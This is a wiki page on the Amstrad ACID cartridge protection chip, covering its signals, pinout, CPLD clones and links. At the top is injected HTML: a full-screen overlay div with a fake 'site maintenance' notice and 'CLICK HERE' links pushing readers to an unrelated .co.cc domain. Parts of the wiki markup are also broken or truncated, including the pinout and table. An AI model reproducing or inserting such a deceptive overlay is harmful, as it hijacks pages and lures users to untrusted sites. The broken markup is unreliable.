----
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
----
=[http://otyxemydu.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
----
=[http://otyxemydu.co.cc CLICK HERE]=
----
</div>
[[Image:Inside GX4000 cart 1.jpg|frame|right|ACID protection chip within a cartridge (bottom)]]
The '''ACID''' (Amstrad Cartridge Identification Device) protection chip is used in the [[GX4000 cartridge|cartridges]] of the [[Plus]] series and the [[GX4000]] game console. After Nocash decrypted the internal algorithms it is possible to replace the protection chip with a complex programmable logic device (CPLD).
** '''WANTED:''' Best also showing one or more of the A0-A7 signals.
<<gallery>
Image:ACID Init by Grim.png|/RESET, CLK, CCLR, SIN (init sequence)
Image:ACID-SIN.jpg|CLK and SIN
Image:ACID-CCLR.png|CLK and CCLR (and some offtopic signals) (from CPC, without ACID connected)
<</gallery>
== Pinout ==
<<pre>
+--()--+
GND |1 16| +5V AMSTRAD 40908
GND |8 9| A0
+------+
<</pre>
{|{{Prettytable|width: 700px; font-size: 2em;}}
Note: The two GND pins are interconnected with each other (inside of the chip). The NC pin seems to be always high.
== Clones ==
* An ACID replacement using a Xilinx XC9536 CPLD and some [[Verilog implementation of the ACID chip|Verilog code]] based on nocash's reverse engineering work has been built by [[Octoate]] and [[Nilquader]].
* Miguel Angel (aka mcleod_ideafix) has published all the info about his implementation of the ACID in a CPLD, verilog sources included [http://www.zxprojects.com/index.php/analisis-del-chip-acid/62-analisis-del-chip-acid-del-amstrad-cpcgx4000]
* It's possible to use the CPC+ without ACID by exploiting a timing bug in the CPC+/GX4000-ASIC Chip. (Developed by [[Nilquader]])
<gallery caption="Running CPC+ without ACID">
Image:NoAcid.jpg|GX4000 running without ACID
Image:NoAcid_sch.png|Schematics
</gallery>
== Pictures ==
* ACID chip decapped. Many thanks to Sean Riddle!
<gallery>
Image:40908_Metal_Small.jpg
</gallery>
== Misc ==
*http://amstradcpc.mforos.com/305097/7723493-que-hace-exactamente-el-chip-acid-de-los-cartuchos/ (Spanish language)
*[http://www.vieuzordiland.fr/index.php?option=com_content&task=view&id=23&Itemid=34 Vieuxzordiland's page on the matter. In French]
*[http://cpcwiki.eu/forum/index.php/topic,410.0.html| The CPCwiki's forum thread featuring the Epic fight between the infamous ACID and NoCa$h.]
[[Category:Hardware]][[Category:Cartridges| ]][[Category:CPC Plus]][[Category:CPC Internal Components]][[Category:Amstrad Products]][[Category:Electronic Component]]